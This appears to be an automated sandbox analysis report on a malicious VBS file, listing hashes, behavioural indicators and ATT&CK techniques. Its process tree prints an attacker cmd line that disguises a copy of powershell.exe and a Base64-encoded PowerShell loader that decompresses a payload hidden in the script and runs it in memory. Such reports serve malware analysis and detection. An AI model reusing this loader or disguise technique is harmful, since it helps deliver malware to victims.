c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1

General

Target

c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1.vbs
Size

2.3MB
MD5

1033c6b6d28d44c062806cf7d594e6f2
SHA1

74c6a8a092c267399e87e91abb7be13df725b046
SHA256

c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1
SHA512

2b8e1421f95b631843cdfdd1c6419f43a12dd523eef53bc513b889a685655d313cfde7db5169cf3d662b638ec032644e1c9b4c7a1c2e9a6b285545052b6673b0
SSDEEP

24576:bD/qEBZa71HU8t5t1brARP+rHHSjIPwSVs5fEEkhTb+jUTjs0oi6vXkkQW+pUFX8:vqyMTtMDjIYSi5MTCY3s0o2kQWCXKBo

Score

10^/10

discovery

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2712	2812	cmd.exe	30

Executes dropped EXE 1 IoCs

pid	Process
2928	c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1.vbs.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1.vbs.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2928	c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1.vbs.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2928	c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1.vbs.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2688 wrote to memory of 2928	2688	WScript.exe	33
PID 2688 wrote to memory of 2928	2688	WScript.exe	33
PID 2688 wrote to memory of 2928	2688	WScript.exe	33
PID 2688 wrote to memory of 2928	2688	WScript.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2688
- C:\Users\Admin\AppData\Local\Temp\c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1.vbs.exe
  "C:\Users\Admin\AppData\Local\Temp\c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1.vbs.exe" -enc JABDAHYAbwBrAGEAeQBrAHQAcAByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAFoAegBuAGsAegB5AGYAbABnAGoAdwAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAEMAdgBvAGsAYQB5AGsAdABwAHIAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAQwBmAHgAegBpAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAWgB6AG4AawB6AHkAZgBsAGcAagB3AC4AUgBlAHAAbABhAGMAZQAoACcAUgBFAE0AIAAnACwAIAAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACAAJwBBACcAKQApADsAJABLAGMAeABwAHEAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQAQwBmAHgAegBpAHMAIAApADsAJABHAGMAeQB3AGUAegB5AHAAZwBxACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABaAHEAdAB3AGcAbwBiAGoAeABkAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQASwBjAHgAcABxAHQALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAFoAcQB0AHcAZwBvAGIAagB4AGQAdwAuAEMAbwBwAHkAVABvACgAIAAkAEcAYwB5AHcAZQB6AHkAcABnAHEAIAApADsAJABaAHEAdAB3AGcAbwBiAGoAeABkAHcALgBDAGwAbwBzAGUAKAApADsAJABLAGMAeABwAHEAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEMAZgB4AHoAaQBzACAAPQAgACQARwBjAHkAdwBlAHoAeQBwAGcAcQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAQwBmAHgAegBpAHMAKQA7ACAAJABGAGgAegB4AHcAaQBoAHoAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEMAZgB4AHoAaQBzACkAOwAgACQAQQBkAGMAbwBqACAAPQAgACQARgBoAHoAeAB3AGkAaAB6AG4ALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABBAGQAYwBvAGoALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEEAZABjAG8AagAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2928

C:\Windows\system32\cmd.exe
cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1.vbs.exe" /Y
1⤵
- Process spawned unexpected child process
PID:2712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1.vbs.exe

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/2928-4-0x0000000002DD0000-0x0000000002E10000-memory.dmp

Filesize
256KB

Download

Analysis

Sharing